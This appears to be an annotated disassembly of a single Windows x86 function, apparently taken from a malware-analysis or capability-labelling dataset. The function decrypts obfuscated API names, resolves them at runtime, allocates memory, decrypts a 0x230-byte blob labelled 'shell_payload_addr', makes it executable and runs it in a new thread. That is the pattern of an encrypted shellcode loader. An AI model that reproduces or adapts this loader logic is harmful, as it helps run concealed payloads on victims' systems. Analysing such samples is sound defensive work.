Function at 0x4010c0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x338
movaps xmm0, xmmword [0x4143d0]
lea eax, [esp + 0x88]
movups xmmword [esp + 0xe8], xmm0
mov ecx, 0x8c
mov dword [esp + 0x84], 0
movaps xmm0, xmmword [0x4143c0]
movups xmmword [esp + 0xb8], xmm0
push ebx
movaps xmm0, xmmword [0x4143f0]
movups xmmword [esp + 0x9c], xmm0
push ebp
movaps xmm0, xmmword [0x414410]
push esi
movups xmmword [esp + 0x104], xmm0
mov esi, 0x414190
mov dword [esp + 0x50], 0x7e8a67cf
movaps xmm0, xmmword [0x414420]
push edi
movups xmmword [esp + 0xd8], xmm0
lea edi, [esp + 0x118]
mov dword [esp + 0x58], 0xe08caf74
movaps xmm0, xmmword [0x414400]
push 0x10
movups xmmword [esp + 0x9c], xmm0
push eax
movaps xmm0, xmmword [0x4143e0]
lea eax, [esp + 0x7c]
movups xmmword [esp + 0xc0], xmm0
push 0x20
movaps xmm0, xmmword [0x414430]
rep movsd dword es:[edi], dword [esi]
push eax
mov dword [esp + 0x6c], 0xf9052a82
mov dword [esp + 0x70], 0xd02177af
mov dword [esp + 0x34], 0x7ec4fc20
mov dword [esp + 0x38], 0x6a309328
mov dword [esp + 0x3c], 0x96a28246
mov dword [esp + 0x40], 0x31138cf9
mov dword [esp + 0x74], 0x7f4c9523
mov dword [esp + 0x78], 0x6f7ee7c5
mov dword [esp + 0x7c], 0xd0d7e049
mov dword [esp + 0x80], 0x74376272
mov dword [esp + 0x44], 0x2da20e92
mov dword [esp + 0x48], 0xf27c9158
mov dword [esp + 0x4c], 0x95ff8885
mov dword [esp + 0x50], 0xb3c3ee3e
mov dword [esp + 0x84], 0x2bce10c9
mov dword [esp + 0x88], 0x6fab8a12
mov dword [esp + 0x8c], 0x184363d2
mov dword [esp + 0x90], 0x39832792
mov dword [esp + 0x94], 0xb8f87365
mov dword [esp + 0x98], 0xe226ef85
mov dword [esp + 0x9c], 0xb055a9b6
mov dword [esp + 0xa0], 0xd6f0308f
mov dword [esp + 0x24], 0x9b0eb9dc
mov dword [esp + 0x28], 0xf1e192cc
mov dword [esp + 0x2c], 0xdad6acec
mov dword [esp + 0x30], 0x42165100
mov dword [esp + 0x54], 0xa0625280
mov dword [esp + 0x58], 0x8ae186a0
mov dword [esp + 0x5c], 0xc18712a5
mov dword [esp + 0x60], 0xefce8838
movups xmmword [esp + 0xf8], xmm0
call fcn.00401000
push 0x10
lea eax, [esp + 0xbc]
push eax
lea eax, [esp + 0x3c]
push 0x10
push eax
call fcn.00401000
push 0x10
lea eax, [esp + 0xdc]
push eax
lea eax, [esp + 0x3c]
push 0x10
push eax
call fcn.00401000
add esp, 0x30
lea eax, [esp + 0x24]
push eax
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea eax, [esp + 0x18]
push eax
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 4
push 0x3000
push 0x230
push 0
mov dword [0x41c384], eax
call eax
mov ebp, eax
lea eax, [esp + 0x118]
push eax
push str.shell_payload_addr
push 0x41b014
call fcn.00401450
push ebp
push str.exec_mem_addr
push str.__20s_:_0x__016p_n
call fcn.00401450
push 0x10
lea eax, [esp + 0xe4]
push eax
lea eax, [esp + 0x138]
push 0x230
push eax
call fcn.00401000
push 0x10
lea eax, [esp + 0x104]
push eax
lea eax, [esp + 0x64]
push 0x10
push eax
call fcn.00401000
push 0x10
lea eax, [esp + 0x124]
push eax
lea eax, [esp + 0x84]
push 0x10
push eax
call fcn.00401000
add esp, 0x48
lea eax, [esp + 0x34]
push eax
lea eax, [esp + 0x48]
push eax
call ebx
push eax
call edi
push 0x230
lea ecx, [esp + 0x11c]
mov dword [0x41c37c], eax
push ecx
push ebp
call eax
push 0x10
lea eax, [esp + 0xfc]
push eax
lea eax, [esp + 0x5c]
push 0x10
push eax
call fcn.00401000
add esp, 0x10
lea eax, [esp + 0x54]
push eax
lea eax, [esp + 0x18]
push eax
call ebx
push eax
call edi
lea ecx, [esp + 0x94]
mov dword [0x41c388], eax
push ecx
push 0x20
push 0x230
push ebp
call eax
mov esi, eax
push 0x10
lea eax, [esp + 0x10c]
push eax
lea eax, [esp + 0x6c]
push 0x10
push eax
call fcn.00401000
add esp, 0x10
lea eax, [esp + 0x64]
push eax
lea eax, [esp + 0x18]
push eax
call ebx
push eax
call edi
mov dword [0x41c380], eax
lea eax, [esp + 0x74]
push eax
lea eax, [esp + 0x18]
push eax
call ebx
push eax
call edi
mov dword [0x41c378], eax
test esi, esi
je 0x401431
push 0
push 0
push 0
push ebp
push 0
push 0
call dword [0x41c380]
push 0xffffffffffffffff
push eax
call dword [0x41c378]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret